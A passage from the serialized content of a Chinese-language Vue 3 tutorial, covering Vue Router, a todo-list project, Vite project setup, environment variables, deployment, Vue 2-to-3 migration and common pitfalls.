'@\u002Fviews\u002FHome.vue'\n\nconst routes = [\n  { path: '\u002F', name: 'home', component: Home },\n  { path: '\u002Fabout', name: 'about', component: () => import('@\u002Fviews\u002FAbout.vue') },   \u002F\u002F 懒加载\n  { path: '\u002Fusers\u002F:id', name: 'user', component: () => import('@\u002Fviews\u002FUser.vue'), props: true },\n  { path: '\u002Fposts\u002F:page?', component: () => import('@\u002Fviews\u002FPosts.vue') },          \u002F\u002F 可选参数（省略时 undefined）\n  {\n    path: '\u002Fdashboard',\n    component: () => import('@\u002Fviews\u002FDashboard.vue'),\n    children: [                                  \u002F\u002F 嵌套：父组件里要放 \u003CRouterView \u002F>\n      { path: '', component: DashboardHome },    \u002F\u002F \u002Fdashboard\n      { path: 'analytics', component: Analytics } \u002F\u002F \u002Fdashboard\u002Fanalytics\n    ]\n  },\n  { path: '\u002F:pathMatch(.*)*', name: 'not-found', component: NotFound }   \u002F\u002F 兜底 404\n]\n\nexport const router = createRouter({\n  history: createWebHistory(),        \u002F\u002F 干净 URL，需要服务端 fallback\n  routes,\n  scrollBehavior: (to, from, saved) => saved || { left: 0, top: 0 }\n}) \u002F\u002F main.js\nimport { createApp } from 'vue'\nimport router from '.\u002Frouter'\ncreateApp(App).use(router).mount('#app') \u003C!-- App.vue -->\n\u003Ctemplate>\n  \u003Cnav>\n    \u003CRouterLink to=\"\u002F\">首页\u003C\u002FRouterLink>\n    \u003CRouterLink :to=\"{ name: 'user', params: { id: 42 } }\">用户 42\u003C\u002FRouterLink>\n  \u003C\u002Fnav>\n  \u003CRouterView \u002F>          \u003C!-- 当前路由的组件渲染在这里 -->\n\u003C\u002Ftemplate>",{"id":134226,"title":31979,"titles":134227,"content":134228,"level":357},"\u002Ftutorials\u002Fvue3#三种-history决定部署方式",[17599,31453],"创建方式 URL 形态 服务端要不要配 fallback 适合 createWebHistory() \u002Fusers\u002F42 要（刷新时所有路径都要回落到 index.html） 正式站点，SEO 友好 createWebHashHistory() \u002F#\u002Fusers\u002F42 不要 静态托管、iframe 内、子目录里懒得配 nginx createMemoryHistory() 不写地址栏 — 测试、示例（本教程的示例 16 用的就是它） history 模式下 nginx 的一行配置：try_files $uri $uri\u002F \u002Findex.html;。漏了它的症状是「首页能进，刷新子页面 404」。",{"id":134230,"title":32060,"titles":134231,"content":134232,"level":357},"\u002Ftutorials\u002Fvue3#读参数与跳转",[17599,31453],"\u003Cscript setup>\nimport { useRoute, useRouter } from 'vue-router'\nconst route = useRoute()     \u002F\u002F 响应式的当前路由：params \u002F query \u002F hash \u002F path \u002F matched \u002F meta\nconst router = useRouter()   \u002F\u002F 命令式跳转\n\nfunction go() {\n  router.push({ name: 'user', params: { id: 7 } })\n  router.replace({ path: '\u002Flogin', query: { redirect: route.fullPath } })  \u002F\u002F 不留历史\n  router.back()\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>id = {{ route.params.id }}，页码 = {{ route.query.page }}\u003C\u002Fp>\n\u003C\u002Ftemplate> props: true（或 props: (route) => ({ id: Number(route.params.id) })）能把参数直接注入成组件 props，组件里就可以不依赖 useRoute——复用性和可测性都更好。 同一路由只换参数时组件会被复用（\u002Fusers\u002F1 → \u002Fusers\u002F2），mounted 不再执行。三种应对：:key=\"route.fullPath\" 强制重建、watch(() => route.params.id, load)、或 onBeforeRouteUpdate。",{"id":134234,"title":32260,"titles":134235,"content":134236,"level":357},"\u002Ftutorials\u002Fvue3#导航守卫三句话讲清",[17599,31453],"\u002F\u002F 全局\nrouter.beforeEach((to) => {\n  if (to.meta.requiresAuth && !isLoggedIn()) {\n    return { name: 'login', query: { redirect: to.fullPath } }   \u002F\u002F 返回地址 = 重定向\n  }\n  \u002F\u002F 返回 undefined \u002F true = 放行；返回 false = 取消导航\n})\n\n\u002F\u002F 路由独享\n{ path: '\u002Fadmin', component: Admin, meta: { requiresAuth: true },\n  beforeEnter: (to) => isAdmin() || '\u002F403' }\n\n\u002F\u002F 组件内（\u003Cscript setup> 用这两个函数）\nimport { onBeforeRouteLeave, onBeforeRouteUpdate } from 'vue-router'\nonBeforeRouteLeave(() => edited.value ? confirm('有未保存内容，确定离开？') : true) meta 是自由字段（配合 TS 声明增强提示），常用来放 requiresAuth、title、layout。异步守卫可以直接 await（旧代码里的 next() 调用方式仍可用，新代码用返回值更清晰）。 示例 16 里点链接能看到「命中了哪条路由记录、params\u002Fquery 是什么、守卫放不放行」，右侧同步显示当前 route 对象的结构。",{"id":134238,"title":4796,"titles":134239,"content":134240,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-15",[17599,31453],"1. history 模式部署后刷新 404。 静态服务器只会为真实文件返回 200，\u002Fusers\u002F42 不是文件。必须配 fallback（try_files … \u002Findex.html）或改 hash 模式。子路径部署时还要给 createWebHistory('\u002Fnuxt\u002F') 传 base——这个 base 要和构建的 base 配置一致，否则资源路径和路由路径各说各话。 2. params 在 path 写法里会被静默丢弃。 router.push('\u002Fusers\u002F' + id) 之后 route.params 是空的；要用 push({ name, params }) 或把值拼进 path 再从 route.path 解析。 3. 用 v-if 或 \u003Ca href> 替代 \u003CRouterLink>。 原生 \u003Ca> 会触发整页刷新（单页应用的意义就没了）。需要「看起来像链接」时用 \u003CRouterLink custom v-slot=\"{ navigate }\"> 自定义渲染。 4. 守卫里返回 true\u002Ffalse 与 next() 混用。 同一个守卫里既 next() 又 return 会行为怪异。选一种风格，新项目建议返回值。 5. 守卫里做异步请求没加超时\u002F取消。 用户点得快，导航会卡在「等待鉴权」；请求失败时如果既不 return false 也不重定向，界面就停在原地，看起来像「链接点不动」。 6. 只换参数的页面不重新请求数据。 上面「同一路由复用组件」那条，是最常见的「切了个分类，列表还是老数据」。 7. 404 兜底路由必须放最后。 \u002F:pathMatch(.*)* 写在前面会把所有路径吃掉。它的路径语法（v4\u002Fv5 都支持这一种）值得抄下来，别靠记忆改写成 (.*?)。 8. scrollBehavior 返回 savedPosition 时要判空。 直接 return saved 在没保存位置时返回 undefined，Vue Router 会退化成「滚到顶部」，可能不是你想要的。 9. 路由懒加载的组件路径写错不会立刻报错。 () => import('.\u002FVIEWS\u002FAbout.vue') 只在真正进入那条路由时才失败（表现为「点了没反应\u002F白屏」）。构建期用 vite 的 build.rollupOptions 报错或跑一遍全路由点击来兜住。",{"id":134242,"title":32641,"titles":134243,"content":134244,"level":357},"\u002Ftutorials\u002Fvue3#附路由速查",[17599,31453],"需求 写法 声明 { path: '\u002Fu\u002F:id', component: User, name: 'user', props: true, meta: { title: '用户' } } 可选参数 \u002Fposts\u002F:page?（省略时 params.page 为 undefined） 参数格式校验 别依赖路径里的正则（不同小版本语法有出入，实测为准）；用 beforeEnter 守卫或 props: (route) => ({ page: Number(route.params.page) || 1 }) 更稳 嵌套子路由 父记录 children: [...]，父组件里再放 \u003CRouterView \u002F> 兜底 404 { path: '\u002F:pathMatch(.*)*', component: NotFound }（放最后） 链接 \u003CRouterLink :to=\"{ name: 'user', params: { id } }\"> 激活样式类 active-class \u002F exact-active-class（默认 router-link-active \u002F -exact-active） 命令式跳转 router.push() \u002F replace() \u002F back() \u002F forward() 读当前路由 useRoute()（响应式，别解构整个对象） 守卫 全局 beforeEach \u002F afterEach，记录 beforeEnter，组件内 onBeforeRouteLeave\u002FUpdate 滚动 scrollBehavior: (to, from, saved) => saved ?? { left: 0, top: 0 } 懒加载 component: () => import('.\u002FViews\u002FX.vue') 路由中间件式复用 把校验逻辑抽进 meta + 一个全局守卫（Nuxt 里有专门的 definePageMeta + middleware）",{"id":134246,"title":32838,"titles":134247,"content":32841,"level":341},"\u002Ftutorials\u002Fvue3#十七综合实战一个待办清单把前面十六章串起来",[17599],{"id":134249,"title":32845,"titles":134250,"content":134251,"level":357},"\u002Ftutorials\u002Fvue3#第一步数据形状先定下来",[17599,32838],"\u002F\u002F 一条待办就是一个普通对象，id 稳定唯一（第十一章的 key 就靠它）\n{ id: 1731289000, text: '写教程', done: false, createdAt: 1731289000 } 先定数据，再写模板。 界面所有状态都能从这份数据算出来，就没有第二份需要同步的「影子状态」（这是 UI bug 的主要来源）。",{"id":134253,"title":32905,"titles":134254,"content":134255,"level":357},"\u002Ftutorials\u002Fvue3#第二步最小可用版一个文件",[17599,32838],"\u003Cscript setup>\nimport { ref, computed, watch } from 'vue'\n\nconst KEY = 'vue3-todo'\nconst storage = ref([])\n\nconst draft = ref('')\nconst filter = ref('all')          \u002F\u002F all | active | done\n\nconst add = () => {\n  const text = draft.value.trim()\n  if (!text) return\n  storage.value.push({ id: Date.now(), text, done: false })\n  draft.value = ''\n}\n\nconst visible = computed(() =>\n  storage.value.filter(t => filter.value === 'all' ? true : t.done === (filter.value === 'done'))\n)\nconst left = computed(() => storage.value.filter(t => !t.done).length)\n\nwatch(storage, (v) => localStorage.setItem(KEY, JSON.stringify(v)), { deep: true })\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Csection class=\"todo\">\n    \u003Cform @submit.prevent=\"add\">\n      \u003Cinput v-model=\"draft\" placeholder=\"要做什么？\" aria-label=\"新待办\">\n      \u003Cbutton type=\"submit\" :disabled=\"!draft.trim()\">添加\u003C\u002Fbutton>\n    \u003C\u002Fform>\n\n    \u003Cul>\n      \u003Cli v-for=\"t in visible\" :key=\"t.id\">\n        \u003Clabel>\n          \u003Cinput type=\"checkbox\" v-model=\"t.done\">\n          \u003Cspan :class=\"{ done: t.done }\">{{ t.text }}\u003C\u002Fspan>\n        \u003C\u002Flabel>\n        \u003Cbutton type=\"button\" @click=\"storage = storage.filter(x => x.id !== t.id)\">删除\u003C\u002Fbutton>\n      \u003C\u002Fli>\n    \u003C\u002Ful>\n\n    \u003Cfooter>\n      剩 {{ left }} 项\n      \u003Cselect v-model=\"filter\">\n        \u003Coption value=\"all\">全部\u003C\u002Foption>\n        \u003Coption value=\"active\">未完成\u003C\u002Foption>\n        \u003Coption value=\"done\">已完成\u003C\u002Foption>\n      \u003C\u002Fselect>\n    \u003C\u002Ffooter>\n  \u003C\u002Fsection>\n\u003C\u002Ftemplate> 这一段里已经出现了：ref + 数组、v-model 在 checkbox 上直接改行内字段、computed 做筛选与统计、@submit.prevent、:disabled、:key、watch 做持久化。入门阶段能写出这个版本，就说明语法都打通了。",{"id":134257,"title":33644,"titles":134258,"content":134259,"level":357},"\u002Ftutorials\u002Fvue3#第三步拆组件该拆的地方只有一处",[17599,32838],"判断标准：某块有自己的状态或行为、且被用了两次以上，就值得独立成组件。这里 TodoItem 有「编辑态」这个本地状态，最合适被拆出去。 \u003C!-- components\u002FTodoItem.vue -->\n\u003Cscript setup>\nimport { ref } from 'vue'\nconst props = defineProps({ todo: { type: Object, required: true } })\nconst emit = defineEmits(['toggle', 'remove', 'rename'])\n\nconst editing = ref(false)\nconst text = ref(props.todo.text)\n\nfunction save() {\n  const t = text.value.trim()\n  if (t && t !== props.todo.text) emit('rename', t)\n  editing.value = false\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cli>\n    \u003Ctemplate v-if=\"!editing\">\n      \u003Clabel>\u003Cinput type=\"checkbox\" :checked=\"props.todo.done\" @change=\"emit('toggle')\">\u003Cspan>{{ props.todo.text }}\u003C\u002Fspan>\u003C\u002Flabel>\n      \u003Cbutton type=\"button\" @click=\"editing = true\">编辑\u003C\u002Fbutton>\n      \u003Cbutton type=\"button\" @click=\"emit('remove')\">删除\u003C\u002Fbutton>\n    \u003C\u002Ftemplate>\n    \u003Ctemplate v-else>\n      \u003Cinput v-model=\"text\" @keyup.enter=\"save\" @keyup.esc=\"editing = false\" autofocus>\n      \u003Cbutton type=\"button\" @click=\"save\">保存\u003C\u002Fbutton>\n    \u003C\u002Ftemplate>\n  \u003C\u002Fli>\n\u003C\u002Ftemplate> 父组件把「怎么改数据」收口成三个动作： \u003Cscript setup>\nimport TodoItem from '.\u002Fcomponents\u002FTodoItem.vue'\nfunction toggle(id) { const t = storage.value.find(x => x.id === id); t.done = !t.done }\nfunction remove(id) { storage.value = storage.value.filter(x => x.id !== id) }\nfunction rename(id, text) { const t = storage.value.find(x => x.id === id); t.text = text }\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cul>\n    \u003CTodoItem\n      v-for=\"t in visible\" :key=\"t.id\" :todo=\"t\"\n      @toggle=\"toggle(t.id)\" @remove=\"remove(t.id)\" @rename=\"(text) => rename(t.id, text)\"\n    \u002F>\n  \u003C\u002Ful>\n\u003C\u002Ftemplate> 注意 :key=\"t.id\" 让「编辑中的那一行」在筛选切换时不会被别的行复用（第十一章）。",{"id":134261,"title":34390,"titles":134262,"content":134263,"level":357},"\u002Ftutorials\u002Fvue3#第四步把可复用逻辑抽成组合式函数",[17599,32838],"持久化 + 初始化那三行，下一个项目还要再写一遍 → 抽走（第十三章的形状）： \u002F\u002F composables\u002FusePersistentList.js\nimport { ref, watch } from 'vue'\n\n\u002F**\n * 一个自动落盘 localStorage 的列表。\n * @param {string} key 存储键名\n * @param {Array} [initial=[]] 读不到数据时的初始值\n * @returns {import('vue').Ref\u003CArray>} 响应式数组\n *\u002F\nexport function usePersistentList(key, initial = []) {\n  let start = initial\n  try {\n    const raw = JSON.parse(localStorage.getItem(key))\n    if (Array.isArray(raw)) start = raw\n  } catch { \u002F* 脏数据：安静回落到初始值 *\u002F }\n  const list = ref(start)\n  watch(list, (v) => {\n    try { localStorage.setItem(key, JSON.stringify(v)) } catch (e) { console.warn('写入失败', e) }\n  }, { deep: true })\n  return list\n} 组件里就剩一行：const storage = usePersistentList('vue3-todo')。",{"id":134265,"title":34654,"titles":134266,"content":134267,"level":357},"\u002Ftutorials\u002Fvue3#这一路做出来的检查点",[17599,32838],"检查项 对应章节 列表有稳定 :key，切换筛选不串行 第十一章 数据源只有一份，统计\u002F筛选是 computed 第五章 子组件不改 props，改动通过 emit 交回父级 第九章 表单用 @submit.prevent，辅助按钮写 type=\"button\" 第六章 空输入、空白字符、重复项在服务端和客户端都挡 第二章、第六章 卸载时清理定时器\u002F监听 第十二章 localStorage 读写包 try\u002Fcatch（隐私模式会抛异常） 第十三章 每个输入框有 label 或 aria-label，按钮有可见焦点 第七章 示例 17 的数据落在 localStorage 的 vue3-todo 键上。注意：站点里的预览是沙箱 iframe（不给 allow-same-origin），存储被浏览器隔离，所以要看「刷新还在」的效果请点示例右上角的「在新标签页打开」；在沙箱里它会自动降级成内存存储并在迷你控制台说明一句——这本身也是一条真实世界的经验：永远不要假设 localStorage 可用（无痕模式、iframe、隐私扩展都会禁用它）。",{"id":134269,"title":34783,"titles":134270,"content":134271,"level":341},"\u002Ftutorials\u002Fvue3#十八工程化把这些语法装进一个可维护的项目",[17599],"前面各章的示例都是「一个 \u003Cscript> 标签」跑起来的。真实项目要的是：能拆文件、能装依赖、能构建、能部署。这一章把 Vite + 单文件组件这一层补齐，也是从「会写 Vue」跨到「能用 Vue 做项目」的那一步。",{"id":134273,"title":34797,"titles":134274,"content":134275,"level":357},"\u002Ftutorials\u002Fvue3#建项目两条路",[17599,34783],"# ① 官方脚手架（交互式，能选 Router \u002F Pinia \u002F TS \u002F ESLint \u002F Vitest）\nnpm create vue@latest my-app\ncd my-app && npm install && npm run dev\n\n# ② 裸 Vite + Vue 插件（想要极简时）\nnpm create vite@latest my-app -- --template vue npm create vue@latest 生成的骨架里，src\u002Fmain.js 负责 createApp(App).use(router).use(createPinia()).mount('#app')，src\u002FApp.vue 是根组件——这就是你在示例里写的 createApp(...).mount('#app')，只是被搬进了文件。 目录约定（Vite + Vue 社区常见形状）： my-app\u002F\n├── index.html            Vite 的入口 HTML（里面有 \u003Cdiv id=\"app\">）\n├── vite.config.js        构建配置（插件、别名、base、代理）\n├── public\u002F               原样拷贝进产物，不参与打包\n└── src\u002F\n    ├── main.js           应用入口\n    ├── App.vue           根组件\n    ├── assets\u002F           需要被打包的资源（图片、字体、CSS）\n    ├── components\u002F       可复用组件\n    ├── views\u002F            路由页面级组件\n    ├── composables\u002F      useXxx 组合式函数（第十三章）\n    ├── stores\u002F           Pinia（第十五章）\n    ├── router\u002F           Vue Router（第十六章）\n    └── utils\u002F            纯函数工具 Nuxt 项目结构不一样（app\u002Fpages、server\u002Fapi、自动导入），那是姊妹篇《Nuxt 教程》的内容——语法同源，工程外壳不同。",{"id":134277,"title":34917,"titles":134278,"content":134279,"level":357},"\u002Ftutorials\u002Fvue3#单文件组件的三块",[17599,34783],"\u003Cscript setup>\n\u002F* 逻辑：组合式 API 写在这里，顶层声明的东西模板直接可用 *\u002F\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003C!-- 结构：只允许一个根节点吗？不必，Vue 3 支持多根（fragment），但要注意 attrs 继承（第七章） -->\n\u003C\u002Ftemplate>\n\n\u003Cstyle scoped>\n\u002F* 样式：scoped 给这个组件的类名加哈希，不会污染全局 *\u002F\n.box { border: 1px solid #ddd; }\n:deep(.el-input__inner) { background: transparent; }   \u002F* 穿透到子组件\u002F第三方组件内部 *\u002F\n\u003C\u002Fstyle> scoped 不是 CSS Modules，它只是加了属性选择器；第三方组件内部的样式还得靠 :deep()（这是「我的样式怎么不生效」的高频答案）。",{"id":134281,"title":35061,"titles":134282,"content":134283,"level":357},"\u002Ftutorials\u002Fvue3#别名代理与构建配置",[17599,34783],"\u002F\u002F vite.config.js\nimport { fileURLToPath, URL } from 'node:url'\nimport { defineConfig } from 'vite'\nimport vue from '@vitejs\u002Fplugin-vue'\n\nexport default defineConfig({\n  plugins: [vue()],\n  resolve: {\n    alias: { '@': fileURLToPath(new URL('.\u002Fsrc', import.meta.url)) }   \u002F\u002F import '@\u002Fstores\u002Fuser'\n  },\n  server: {\n    proxy: { '\u002Fapi': { target: 'http:\u002F\u002Flocalhost:8080', changeOrigin: true } }  \u002F\u002F 开发期跨域\n  },\n  base: '\u002Fshop\u002F'    \u002F\u002F 部署在子路径时必须设置，否则资源 404\n}) base 这一行是「本地正常、上线白屏」的第一嫌疑人。站点挂在 https:\u002F\u002Fsite.com\u002Fshop\u002F 下却没配 base: '\u002Fshop\u002F'，产物里的 \u003Cscript src=\"\u002Fassets\u002Findex-xxx.js\"> 就会指到根路径去要文件（示例 08 的部署检查器就是为这个坑做的）。同时用 history 路由的话，createWebHistory('\u002Fshop\u002F') 的 base 要和它保持一致。",{"id":134285,"title":36554,"titles":134286,"content":134287,"level":357},"\u002Ftutorials\u002Fvue3#环境变量只有-vite_-开头的才会进前端",[17599,34783],"# .env.development\nVITE_API_BASE=http:\u002F\u002Flocalhost:8080\u002Fapi\nVITE_APP_TITLE=本地调试 const base = import.meta.env.VITE_API_BASE\nconsole.log(import.meta.env.MODE, import.meta.env.DEV, import.meta.env.PROD) .env 里的值会被编译进产物——任何人 Ctrl+U 查看源码就能拿到。后端密钥、数据库连接串绝对不能放这里；要放就放到服务端（Nuxt 的 server\u002Fapi + runtimeConfig 是标准做法）。",{"id":134289,"title":35378,"titles":134290,"content":134291,"level":357},"\u002Ftutorials\u002Fvue3#typescript值不值",[17599,34783],"值，但建议第二步再上。Vue 3 对 TS 的支持很好（defineProps\u003C{}>() 泛型写法、模板类型检查），代价是学习曲线叠加。折中路线：先写 JS + JSDoc 注释（本项目的 composable 就是这么写的），需要时再把关键模块换成 .ts。 npm i -D typescript vue-tsc\nnpx vue-tsc --noEmit      # 类型检查（vue-tsc 才认得 .vue 文件）",{"id":134293,"title":35425,"titles":134294,"content":134295,"level":357},"\u002Ftutorials\u002Fvue3#部署与调试",[17599,34783],"npm run build       # 产物在 dist\u002F\nnpm run preview     # 本地按生产方式跑一遍，上线前必做 npm run dev 正常但 build 后白屏：99% 是 base 或 history fallback 的问题（上一节）。 上线后没有警告：生产构建剥掉了 props 校验、路由警告。上线前一定 npm run build && npm run preview 走一遍。 Vue Devtools：浏览器扩展，能看到组件树、响应式数据、Pinia、路由器。装好后组件里会多一个「检查」按钮。 打包体积：rollup-plugin-visualizer 看谁占大头；路由级懒加载（第十六章）通常是最有效的一刀。",{"id":134297,"title":35500,"titles":134298,"content":134299,"level":357},"\u002Ftutorials\u002Fvue3#vue-2-vue-3-迁移对照读老代码用",[17599,34783],"主题 Vue 2 Vue 3 创建实例 new Vue({ render }) createApp(App).mount('#el') 全局注册 Vue.component app.component（作用域只在某个 app） 组件根节点 必须单根 允许多根（fragment） v-model 自定义 model: { prop, event } modelValue + update:modelValue，或 v-model:xxx 事件总线 $on\u002F$off\u002F$once 已移除，用 mitt 或 store 过滤器 {{ x | f }} 已移除，用 computed\u002F方法 生命周期 beforeDestroy \u002F destroyed beforeUnmount \u002F unmounted 逻辑复用 mixins 组合式函数 useXxx 响应式限制 新增属性要 Vue.set Proxy，直接赋值即可 指令钩子名 bind \u002F inserted \u002F componentUpdated created \u002F mounted \u002F updated \u002F beforeUnmount \u002F unmounted 插槽 slot=\"x\" \u002F slot-scope \u003Ctemplate #x=\"{ data }\"> 事件修饰符 .native、.sync 都已移除（.sync → v-model:xxx） key 位置 \u003Ctemplate v-for> 不支持 key \u003Ctemplate v-for :key> 合法 CSS 作用域 \u002Fdeep\u002F、>>> :deep()",{"id":134301,"title":4796,"titles":134302,"content":134303,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-16",[17599,34783],"1. 大小写敏感只在 Linux 上出现。 import TodoItem from '.\u002Fcomponents\u002Ftodointerface.vue' 在 Windows\u002FmacOS 能跑，CI（Linux）直接构建失败。文件路径一律与真实文件名逐字符一致。 2. 忘了装 @vitejs\u002Fplugin-vue。 .vue 文件被当普通文本，报错内容通常是 Unexpected token '\u003C'。模板里选了 vue 却没装插件（或自己接 Vite 时漏配）都会这样。 3. base 与路由 history base 不一致。 一个 \u002Fshop\u002F、一个 \u002F，表现是「资源能加载但路由一跳就跑出子目录」，或者反过来。两处一起改。 4. 环境变量没加 VITE_ 前缀。 API_BASE=xxx 在前端读出来是 undefined（Vite 有意不暴露），别怀疑是 Vue 的锅。 5. 把 .env 提交进仓库。 里面有生产接口地址、埋点 key 都会被打包出去。.env 进 .gitignore，.env.example 出模板。 6. scoped 里改第三方组件样式没生效。 用 :deep(.xxx)，或者干脆给组件传 class 让库自己处理。 7. dev 环境跨域正常，生产 404。 开发期靠 server.proxy 骗过了同源限制，线上必须由 nginx\u002F网关反代同一 \u002Fapi 前缀。上线前用 npm run preview + 真实反代验证。 8. 一次改完就 git commit 没跑 build。 类型错误、模板语法错误只在构建期暴露，别把「dev 能跑」当成「能上线」。",{"id":134305,"title":35868,"titles":134306,"content":134307,"level":357},"\u002Ftutorials\u002Fvue3#附新项目起手清单",[17599,34783],"项目 建议 创建 npm create vue@latest，Router \u002F Pinia 按需勾选 目录 views\u002F 页面、components\u002F 复用件、composables\u002F 逻辑、stores\u002F 全局状态 别名 @ → src（脚手架已配） 请求 axios\u002Ffetch 封装一层，baseURL 从 import.meta.env 读 校验 ESLint + Prettier（脚手架选上），提交前 --fix 类型 先 js + JSDoc，重要模块逐步换 ts 部署 子路径记得 base；history 路由记得 try_files 上线前 npm run build && npm run preview 全点一遍 + Devtools 看警告",{"id":134309,"title":35985,"titles":134310,"content":35988,"level":341},"\u002Ftutorials\u002Fvue3#十九收尾vue-3-的坑汇总与下一步",[17599],{"id":134312,"title":16892,"titles":134313,"content":134314,"level":357},"\u002Ftutorials\u002Fvue3#按症状找原因",[17599,35985],"症状 最可能的原因 详见 页面空白、控制台报 Failed to mount app 挂载目标不存在 \u002F 脚本比容器先执行 一 组件明明 import 了却 Unknown custom element 路径大小写不对、忘 .vue 后缀、in-DOM 标签名大小写 二、八、十八 {{ count }} 显示成字面量 没挂载 \u002F 挂错元素 \u002F in-DOM 模板被 v-pre 跳过 一、二 数据变了界面不动 解构了 reactive\u002Fstore、忘了 .value、provide 传了原始值、index 当 key 后组件被复用 四、十一、十三、十五 改 props 出现红色警告 违反单向数据流：改成 emit 或本地副本 九 checkbox \u002F 输入框状态串行 :key 用了 index 或缺失 十一 点一次触发两次 组件未声明 emits，事件透传到根 DOM 九 表单一点就整页刷新 辅助按钮没写 type=\"button\" 或 submit 没 .prevent 六 动画没效果 Transition 类名缺 -enter-from \u002F -leave-to，或多根组件 七、十四 tab 切回来数据不刷新 KeepAlive 下 onMounted 只跑一次，逻辑要放 onActivated 十四 切换路由后还在轮询 忘记 onUnmounted 清理定时器\u002F监听 十二 刷新子页面 404 history 模式缺 try_files fallback，或 base 不一致 十六、十八 上线后没警告、线下才发现错 生产构建剥掉校验；用开发版 + preview 走一遍 十八 dev 好好的，build 后资源 404 子路径部署忘配 base（与 Nuxt 的 app.baseURL 同一类坑） 十八 环境变量读到 undefined 缺 VITE_ 前缀 十八",{"id":134316,"title":36230,"titles":134317,"content":134318,"level":357},"\u002Ftutorials\u002Fvue3#上线前核对清单",[17599,35985],"类别 检查项 模板 所有 v-for 有稳定 :key；v-html 只用于可信内容；模板表达式都是「表达式」 响应式 没有 reactive\u002Fprops\u002Fstore 的直接解构；ref 读写都带 .value；大列表用 shallowRef 组件 props\u002Femits 有类型声明；不直接改 props；多根组件处理了 attrs；暴露面用 defineExpose 收窄 生命周期 每个 addEventListener \u002F setInterval \u002F watch（手动创建）都能在卸载钩子里找到对应清理 状态 进入 Pinia 的只有跨页面数据；持久化字段最小且带兜底；无循环引用 路由 meta 权限字段与守卫配套；异步守卫有失败分支；404 兜底在最后；base 与构建 base 一致 构建部署 npm run build && npm run preview 全部路由点过；base、try_files、CDN 路径核对；.env 未入库且无密钥 可访问性 表单有 label；纯图标按钮有 aria-label；焦点可见；role 用词准确",{"id":134320,"title":36357,"titles":134321,"content":134322,"level":357},"\u002Ftutorials\u002Fvue3#下一步往哪走",[17599,35985],"按性价比排序： Nuxt（本站姊妹篇《Nuxt 教程》）：把这门课的语法搬进「有服务端、有 SEO、能直出首屏」的工程外壳。你在这里学的响应式、组件、Pinia、路由，Nuxt 全都自动导入，重点变成「数据什么时候在服务端取、什么时候在客户端取」。 TypeScript + vue-tsc：把 props、store、API 返回类型钉死，重构时不再靠胆量。 测试：Vitest + Vue Test Utils 测组件行为，Playwright\u002FCypress 测关键流程（登录、下单）。 生态里绕不开的几件：UI 库（Element Plus \u002F Naive UI \u002F shadcn-vue）、数据请求（TanStack Query 或 Nuxt 的 useFetch）、表格与图表（vxe-table、ECharts）、表单校验（VeeValidate \u002F zod）。 原理补两页：官方文档的「深入响应式系统」和「编译优化（静态提升、patch flags）」——不必通读，但看懂这两节能解释「为什么要用 computed」「为什么 key 重要」。 Vue 的核心其实一直只有那句话：把界面写成数据的函数，剩下的交给框架。 语法、组件、路由、store 都是为了让你把这句话执行得整齐一些。愿你下次「数据变了界面不动」时，三秒内就想到是解构还是 key 的锅。 html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}html pre.shiki code .s6RL2, html code.shiki .s6RL2{--shiki-default:#FDAEB7;--shiki-default-font-style:italic}",1793263558068]